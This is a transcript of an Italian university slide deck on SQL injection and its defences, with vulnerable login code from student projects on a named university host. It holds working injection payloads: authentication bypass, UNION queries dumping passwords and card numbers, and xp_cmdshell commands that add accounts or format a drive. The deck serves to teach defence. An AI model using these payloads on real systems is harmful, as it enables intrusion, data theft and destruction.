Scaricare la presentazione
La presentazione è in caricamento. Aspetta per favore
PubblicatoAlfonso Longo Modificato 11 anni fa
1
UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto di Informatica e Telematica - Pisa Università G. dAnnunzio Dipartimento di Scienze, Pescara
2
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 2 Setup User input usato in SQL query esempio: login page (ASP) set ok = execute(SELECT * FROM UserTable WHERE username= & form(user) & AND password= & form(pwd) & ); If not ok.EOF login success else fail; Quale e il problema?
3
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 3 Bad input Supponiamo user = or 1 = 1 -- (URL encoded) Allora lo scripts ottiene: ok = execute( SELECT … WHERE username= or 1=1 -- … ) poich é è presente - - il resto della linea è ignorato. ora ok.EOF è sempre falso. The bad news: facile login a molti siti in questo modo.
4
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 4 Even worse Supponiamo user = exec cmdshell net user badguy badpwd / ADD -- Allora lo script: ok = execute( SELECT … WHERE username= exec … ) se SQL server è eseguito da sa o root, attaccante ottiene un account sul DB server.
5
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 5 Demonic strings 2 Remote execution '; exec master..xp_cmdshell 'ping 10.10.1.2'– Get output '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Insert data ; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'– Delete data| ';drop table users –
6
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 6 Demonic strings ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a
7
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 7 Avoiding SQL injection Due suggerimenti: Query parametriche con parametri tipati e controllati Uso di store procedure parametrizzate
8
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 8 Query parametriche Build SQL queries by properly escaping args: \ Nota: mysql escape = \ Firebird escape = Example: Parameterized SQL: (ASP.NET 1.1) Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[user] ); cmd.Parameters.Add("@Pwd", Request[pwd] ); cmd.ExecuteReader();
9
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 9 Magic quotes e real-escape Magic quotes file di configurazione php.ini: voce magic_quotes_gpc funzione addslashes() o funzione mysql_escape_string() su tutte le variabili inserite in una query SQL.
10
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 10 Prepare-execute procedure pg_query($conn, PREPARE stmt_name (text) AS SELECT * FROM users WHERE name=$1); pg_query($conn, EXECUTE stmt_name ({$name})); pg_query($conn, DEALLOCATE stmt_name);
11
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 11 In genere Controllare sempre linput!! Vediamo un esercizio
12
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 12 Fabrikam Fabrikam has recently introduced a search feature into their product database, but theyve written it with some rather naïve code. Your first job will be to exploit the SQL injection vulnerability so you understand the implications. Then youll go on the defensive and fix the problem.
13
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 13 or 1=1 – Good!! union select null – Numero campi query sbagliata union select null, null – ok union select $0, null, null – Ora troviamo il tipo dei campi union select null, @@version, null – Versione db! Per vulnerabilita conosciute ' union select null, name, null from sys.databases – Che altri db ci sono? union select null, table_name, null from FabrikamSampleProductDatabase.information_schema.tables -- Che tabelle nei vari db? ' union select null, column_name, null from FabrikamSampleProductDatabase.information_schema.columns where table_name='users' -- Bene che colonne interessanti!! Utenti! ' union select null,email+', '+password+', '+cc_type+', '+cc_num+', '+cc_exp+', '+cc_vcode,null from Users --
14
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 14 Some damage ' update products set price=.01 where description='MP3 Player' -- Ora possiamo comprare lmp3 player ' exec xp_cmdshell 'net user hacker P@ssw0rd /add' ' exec xp_cmdshell 'format z:'
15
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 15 Difesa!! Filter input searchString = txtSearch.Text; searchString = txtSearch.Text.Replace("'","''"); sandbox the input data in a parameterized query (visualizzazione progettazione, proprieta del selectcommand select sku, description, price from Products where description like @s order by price Refresh! dataSource.SelectCommand = string.Format( "select sku, description, price from Products where description like '%{0}%' order by price", searchString); dataSource.SelectParameters["s"].DefaultValue = '%' + searchString + '%';
16
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 16 Vediamo gli errori dei miei studenti Esercizio, Loggarsi su http://gasl.unich.it/progetti/rilevazione-guasti/index.php http://gasl.unich.it/progetti/psicologia/Allin1/admin/index. php http://gasl.unich.it/progetti/psicologia/Allin1/admin/index. php http://gasl.unich.it/nva/admin/manager/index.php http://gasl.unich.it/progetti/psicologia/Allin1/index.php http://gasl.unich.it/progetti/magazzino/login.php
17
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 17 Vediamo gli errori dei miei studenti Esercizio, Loggarsi su http://gasl.unich.it/progetti/rilevazione-guasti/index.php
18
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 18 Ed ecco il codice if (isset($_POST['user']) && isset($_POST['passwd'])) { include 'mainfile.php'; mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'mainfile.php' $result=mysql_db_query(DB_NAME,"select * from utenti where username='$_POST[user]' and passwd='$_POST[passwd]'"); if (mysql_num_rows($result)!=0) { $_SESSION['user']=$_POST['user'];
19
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 19 E qui? http://gasl.unich.it/progetti/psicologia/Allin1/ad min/index.php http://gasl.unich.it/progetti/psicologia/Allin1/ad min/index.php
20
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 20 if (isset($_POST['admin_password'])){ $pwd= $_POST['admin_password']; if ((ereg("\=", $pwd))) //impedisce l'inserimento di alcuni caratteri { echo " alert ('Hai utilizzato un carattere non valido') "; session_destroy(); }; if (isset($_POST['admin_user']) && isset($_POST['admin_password'])) { include '../connessione.php'; mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'connessione.php' $result=mysql_db_query(DB_NAME,"select * from amministratore where admin_user='$_POST[admin_user]' and admin_password='$_POST[admin_password]'"); if (mysql_num_rows($result)!=0) { $_SESSION['admin_user']=$_POST['admin_user']; ?> document.location="home_amministratore.php"
21
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 21 http://gasl.unich.it/nva/admin/manager/index. php http://gasl.unich.it/nva/admin/manager/index. php
22
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 22 $nome_utente = $_POST['username']; $password = sha1($_POST['password']); $query="SELECT * FROM MANAGER WHERE NOME_UTENTE='$nome_utente' AND PSWD='$password'"; $connessione = ibase_query(db_connect(),$query); if($row=ibase_fetch_object($connessione)) { $_SESSION['manager']='logged_in'; $_SESSION['facolta'] = $row->COD_FACOLTA; header('Location: genera_cod_step1.php'); } else { $msg_login = " Nome utente e/o password erra ti! "; }
23
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 23 E qui? http://gasl.unich.it/progetti/magazzino/login.php
24
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 24 if (isset($_POST['pass'])) { $pass=filtraggio($_POST['pass'],50); $query=mysql_query("select * from password where pwd=sha1('$pass')") or mysql_showerror(); if ($n=mysql_num_rows($query) > 0) { $_SESSION['autenticato']=true;
25
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 25 // funzione controllo SQL Injection per dati tipo stringa function filtraggio($str,$val){ if ( get_magic_quotes_gpc()) { $filtro = stripslashes($str); $filtro1 = mysql_real_escape_string(substr($filtro,0,$val)); }else { $filtro1 = mysql_real_escape_string(substr($str,0,$val)); } return $filtro1; }
26
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 26 E qui http://gasl.unich.it/progetti/psicologia/Allin1/index. php http://gasl.unich.it/progetti/psicologia/Allin1/index. php
27
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 27 if (isset($_POST['pin'])){ $pwd= $_POST['pin']; if ((ereg("\=", $pwd))) //impedisce l'inserimento di alcuni caratteri { echo " alert ('Hai utilizzato un carattere non valido') "; session_destroy(); }; if (isset($_POST['pin'])){ include 'connessione.php'; mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'connessione. php' $result=mysql_db_query(DB_NAME,"select * from studenti where pin='$_POST[pin]'"); if (mysql_num_rows($result)!=0) { $_SESSION['pin']=$_POST['pin'];
28
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 28 function SQL_Injection(){ foreach ($_POST as $chiave => $elemento) { // elimino i caratteri _ e % sensibili per la parola chiave LIKE $_POST["$chiave"] = str_replace("%", "", $_POST["$chiave"]); //sostituisco le parentesi angolari, onde evitare la creazione d i codice html $_POST["$chiave"] = str_replace("<", "<", $_POST["$chiave"]); $_POST["$chiave"] = str_replace(">", ">", $_POST["$chiave"]); //sostituisco ' con ` $_POST["$chiave"] = str_replace("'", "`", $_POST["$chiave"]); //rimuovo gli spazi all'inizio e alla fine $_POST["$chiave"] = trim($_POST["$chiave"]); // se magic_quotes_gpc è disattivo, mi appoggio a mysql_real_esc ape_string() contro attacco di tipo SQL Injection //if ( !get_magic_quotes_gpc() ) { // e quoto i caratteri \ " ' sensibili per php //$_POST["$chiave"] = mysql_real_escape_string($_POST["$chiave"]); //} }
Presentazioni simili
© 2024 SlidePlayer.it Inc.
All rights reserved.